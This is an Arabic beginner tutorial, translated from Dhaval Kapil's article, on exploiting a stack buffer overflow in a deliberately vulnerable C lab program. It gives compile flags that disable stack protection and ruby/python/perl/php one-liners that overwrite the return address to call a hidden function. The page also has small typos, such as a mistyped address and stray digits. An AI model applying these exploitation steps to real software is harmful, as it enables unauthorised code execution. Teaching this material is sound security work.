يوجد العديد من المصادر على الأنترنت التي تهتم وتركز على استغلال الملفات الثنائية binary files من خلال ثغرات buffer overflow ولكنها تحوي على أداوت قديمة (إصدارات قديمة من gcc او linux) وهذا يجعل عملية تشغيل البرنامج المصاب بثغرة Buffer overflow أمر صعب وبحاجة لمتطلبات متعددة.

هذا المقال هو للأشخاص المبتدئين والجدد في مجال binary exploitation .

هذا المقال سيناقش الأمور الأساسية وسوف نقوم بعملية استغلال ثغرة buffer overflow من خلال طفح المكدس smashing the stack وتعديل  return address الخاص بالدالة.

وهذا سيتم من خلال استدعاء بعض الدوال الأخرى.

المتطلبات:


  • أفترض أنك على معرفة بأساسيات لغة البرمجة C
  • وأنك على معرفة ب gcc (مجمع compiler) وتعليمات نظام لينكس.
  • وأنك على معرفة بأساسيات x68 assembly language

البرامج في هذا المقال تمت كتابتها في نظام تشغيل لينكس وتم تحويلها لملفات تنفيذية باستخدام gcc

البرنامج الذي يحوي على الثغرة:

#include <stdio.h>

void secretFunction()

{

printf(“Congratulations!\n”);

printf(“You have entered in the secret function!\n”);

}

void echo()

{

char buffer[20];

printf(“Enter some text:\n”);

scanf(“%s”, buffer);

printf(“You entered: %s\n”, buffer);

}

int main()

{

echo();

return 0;

}

هذا البرنامج يبدو على أنه برنامج سليم وآمن بالنسبة لمبرمج عادي ولكن في الحقيقة يمكننا استدعاء الداله secretFunction من خلال تعديل input  ويوجد طرق أفضل إذا كان الملف الثنائي محلي بحيث يمكننا استخدام gdb لتعديل %eip ولكن في الحالة التي يعمل فيها الملف الثنائي كخدمة على بعض الأجهزة الأخرى يمكننا استدعاء دوال أخرى أو تنفيذ كود مخصص لتعديل input.

Memory Layout of a C program:


لنبدأ بفحص تصميم الذاكرة  لبرنامج مكتوب بلغة C وبشكل خاص المكدس stack فهو يعمل خلال استدعاء التوابع وخلال إعادة نتيجة تنفيذ التوابع ويمكنه التعديل على المسجلات esp , ebp في الجهاز.
stack

1-  Command line arguments and environment variables:  وهي عباره عن بارامترات سطر الأوامر ومتغيرات البيئة, يتم تمرير البارامترات إلى البرنامج قبل تشغيل البرنامج ومتغيرات البيئة يتم تخزينها في هذا الجزء.

2- المكدس stack: هو المكان الذي توجد فيه كل بارامترات الدوال والعناوين المعادة والمتغيرات المحلية للتوابع, ويعمل بطريقة LIFO – Last Input First Output أول قيمة يتم إدخالها هي أخر قيمة يتم إخراجها. وهو يتمدد  باتجاه الأسفل  في الذاكرة في حاله تم ادخال بيانات اليه  (من أعلى عنوان إلى أدنى عنوان)

3- heap: كل الذاكرة التي يتم تخصيصها بشكل اتوماتيكي تتبقى هنا حتى ولو استخدمنا دالة malloc من أجل الحصول على ذاكرة بشكل متغير فسيتم تخصيصها من heap وهو يتمدد باتجاه الأعلى في الذاكرة (من أدنى عنوان إلى أعلى عنوان)

4- Uninitialized data (Bss Segment): كل البيانات الغير مخصصة يتم تخزينها هنا ويحتوي على المتغيرات العامة والثابتة الغير مخصصة من قبل المبرمج. النواة تخصص القيمة 0 لها بشكل افتراضي.

5- initialized data (Data Segment): كل البيانات المخصصة يتم تخزينها هنا, وهو يحوي على المتغيرات العامة والثابتة التي تم تهيئتها من قبل المبرمج.

6- text: هذا الجزء يحوي على الكود التنفيذي الذي يتم حفظه. loader يقوم بتحميل التعليمات من هنا ويقوم بتنفيذها وعادةً ما يكون معد للقراءة فقط.

بعض المسجلات الشائعة:


1- %eip: The Instruction pointer register يقوم بحفظ عنوان التعليمة التالية ليتم تنفيذها وبعد تنفيذ كل تعليمة يتم زيادة هذه القيمة بحسب حجم التعليمة.

2- %esp: The Stack pointer register يقوم بحفظ عنوان أعلى قيمة بالمكدس top of the stack وهذه العنوان هو لأخر عنصر تم إضافته للمكدس.

3- %ebp: The Base pointer register هذا المسجل يقوم بضبط %esp لبداية الدالة وهذا يتم من أجل المحافظة على علامات التبويب الخاصة ببارامترات الدالة والمتغيرات المحلية local variables

يتم الوصول إلى المتغيرات المحلية من خلال طرح قيمة offsets من %ebp وبارامترات الدالة يمكن الوصول إليها من خلال إضافة قيمة offsets إلى %ebp

إدارة الذاكرة خلال استدعاء التوابع:


لنفترض أن لدينا الكود التالي:

void func(int a, int b)

{

int c;

int d;

// some code

}

void main()

{

func(1, 2);

// next instruction

}

لنفترض أن %eip يشير إلى الدالة func الذي تم استدعائها من قبل الدالة الرئيسية main

سيتم اتباع الخطوات التالية:

1- إذا كانت الدالة المستدعى موجود، سيتم إدخال برامتراته إلى المكدس من اليمين إلى اليسار (بترتيب عكسي) سيتم إدخال القيمة 2 قبل القيمة 1

2- يجب أن نعرف العنوان الذي سيتم إعادة نتيجة تنفيذ الدالة func إليه، من أجل إدخال هذا العنوان إلى التعلمية التالية في المكدس.

3- إيجاد عنوان الدالة  واسناد هذا العنوان إلى المؤشر %eip ويتم انتقال التحكم إلى الدالة

4- عندما نكون في الدالة func نحتاج لتحديث قيمة %ebp وقبل التحديث يجب أن نحفظها في المكدس لنتمكن من استعادتها لاحقاً في الدالة الرئيسي main لذلك يتم إدخال %ebp إلى المكدس.

5- ضبط %ebp لتساوي esp % حيث أن ebp % يشير الآن إلى مؤشر المكدس الحالي.

6- إدخال المتغيرات المحلية إلى المكدس وحجز مسافات لها في المكدس وفي هذه الخطوة سوف يتغير %esp

7- بعد انتهاء الدالة func  يجب أن نقوم بإعادة ضبط المكدس السابق لذلك نقوم بضبط %esp ليعود ويأخذ قيمة %ebp ومن ثم نقوم بسحب قيمة %ebp السابقة من المكدس وإعادة حفظها في %ebp

لذلك سوف يعود مؤشر المسجل الرئيسي ليؤشر إلى مكانه في الدالة الرئيسي main

8- معرفة return address من المكدس وإسناده إلى %eip وعندها سوف يعود التحكم إلى الدالة الرئيسي main وذلك بعد استدعاء الدالة func

الشكل التالي يظهر المكدس خلال استدعاء الدالة func :

يي

ثغرة Buffer overflow:


هذه الثغرة تحدث في المستوى المنخفض من الكود في لغة C and C++, المهاجم يستطيع جعل البرنامج ينهار وقادر على تخريب البيانات وسرقت بعض المعلومات الحساسة أو يمكنه أيضاً أن يقوم بتشغيل كوده الخاص. وهذا يعني أنه قادر على الوصول إلى الـ buffer خارج المساحة الذاكرية المخصصة. هذا يحدث عادةً في الحالات التي تحوي على مصفوفات arrays.

المتغيرات يتم حفظها في stack/heap

الوصول إلى أي العناوين الغير مقيدة يسمح بالقراءة أو الكتابة من البايتات الخاصة بالمتغيرات الأخرى. عادةً ينهار البرنامج ولكن يمكننا استخدام بعض المهارات البرمجية للقيام بالهجمات السابقة. يجب أن نقوم بتعديل العنوان المعاد ومحاولة تنفيذ هذا العنوان.

لنقم بعملية compile للكود الخاص بالبرنامج المصاب بهذه الثغرة.

يمكننا القيام بهذه العملية باستخدام gcc وهو عبارة عن compiler وموجود بشكل تلقائي في الكالي

For 32 bit systems

gcc vuln.c -o vuln -fno-stack-protector

For 64 bit systems

gcc vuln.c -o vuln -fno-stack-protector -m32

11

-fno-stack-protector: تقوم بتعطيل حماية المكدس (تحطيم المكدس مسموح به الان)

-m32: للتأكد أن عملية التجميع الثنائي compiled binary ستتم لأنظمة 32 bit

يمكننا الآن تشغيل هذا البرنامج باستخدام التعليمة التالية:

1121

Enter some text:

HackIt!

You entered: HackIt!

لنبدأ بعملية الاستغلال للملف الثنائي، في البداية يجب أن نقوم بعملية تفكيك disassembly لهذا الملف باستخدام objdump

objdump -d vuln

objdump -d vuln

هذه التعليمة سوف تقوم بتفكيك كامل الملف، سوف نركز فقط على الأجزاء المهمة لنا،

هذه الناتج يمكن أن تختلف لديك.

الاستنتاجات:


عنوان secretFunction هو 080489d وهو مكتوب بشكل سته عشري hex

0804849d <secretFunction>:

سيتم حجز 38 بايت في حاله hex او 56 في حاله decimal للمتغيرات المحلية في الدالة echo

80484c0: 83 ec 38 sub $0x38,%esp

العنوان الخاص  بالفر يبدأ من 1c في حاله hex او 28 في حاله decimal  قبل %ebp  وهذا يعني أن 28 bytes محجوز كبفر حتى لو طلبنا 20 bytes

80484cf: 8d 45 e4 lea -0x1c(%ebp),%eax

تصميم payload:


الان نحن نعرف أنه قد تم حجز 28 bytes مساحة buffer.

4 bytes التالية سيتم حفظها في %ebp وال 4 bytes التي تليها ايضا سوف تحفظ return address  (العنوان الذي سيقفز له المؤشر %eip بعد الانتهاء من الداله ) في البداية: 28 + 4 = 32 bytes ويمكن أن تكون أي أحرف عشوائية والبايتات الأربعة التالية ستكون عنوان الدالة secretFunction.

تنبيه: المسجلات registers تكون عبارة عن 4 bytes أو عبارة عن 32 bits كأرقام ثنائية يتم تجميعها لأنظمة 32 bit

عنوان الدالة secretFunction هو 0804849d بنظام hex , الان وبالاعتماد على جهازنا فيما إذا كان little-endian or big-endian يجب أن نقرر النمط المناسب للعنوان. إذا كان الجهاز little-endian فسوف نحتاج أن نضع البايتات بترتيب عكسي كالعنوان التالي:

9d 84 04 08

السكريبتات التالية تقوم بتوليد payloads في الترمنال ، يمكنك استخدام اللغة المفضلة لديك.

ruby -e ‘print “a”*32 + “\x9d\x84\x04\x08″‘

python -c ‘print “a”*32 + “\x9d\x84\x04\x08″‘

perl -e ‘print “a”x32 . “\x9d\x84\x04\x08″‘

php -r ‘echo str_repeat(“a”,32) . “\x9d\x84\x04\x08”;’

ملاحظة: قمنا بكتابة \x9d لأن 9d ممثلة بنظام العد السداسي عشري.

يمكننا نقل payload بشكل مباشر إلى الملف الثنائي vuln

ruby -e ‘print “a”*32 + “\x9d\x84\x04\x08″‘ | ./vuln

python -c ‘print “a”*32 + “\x9d\x84\x04\x08″‘ | ./vuln

perl -e ‘print “a”x32 . “\x9d\x84\x04\x08″‘ | ./vuln

php -r ‘echo str_repeat(“a”,32) . “\x9d\x84\x04\x08”;’ | ./vuln

وهذه هي النتيجة التي سنحصل عليها:

Enter some text:

You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<rubbish 3 bytes>

Congratulations!

You have entered in the secret function!

Illegal instruction (core dumped)

تمكنا من استغلال الثغرة والحصول على العنوان المعاد وتم استدعاء الدالة secretFunction

توابع لغة C المصابة بثغرة Buffer Overflow:

  • gets
  • scanf
  • sprintf
  • strcpy

في كل مرة تستخدم فيها buffers يجب أن تنتبه  حجمه  ليتم التعامل معه بشكل مناسب.

ترجمة بتصرف لمقال : Buffer Overflow Exploit لصاحبها Dhaval Kapil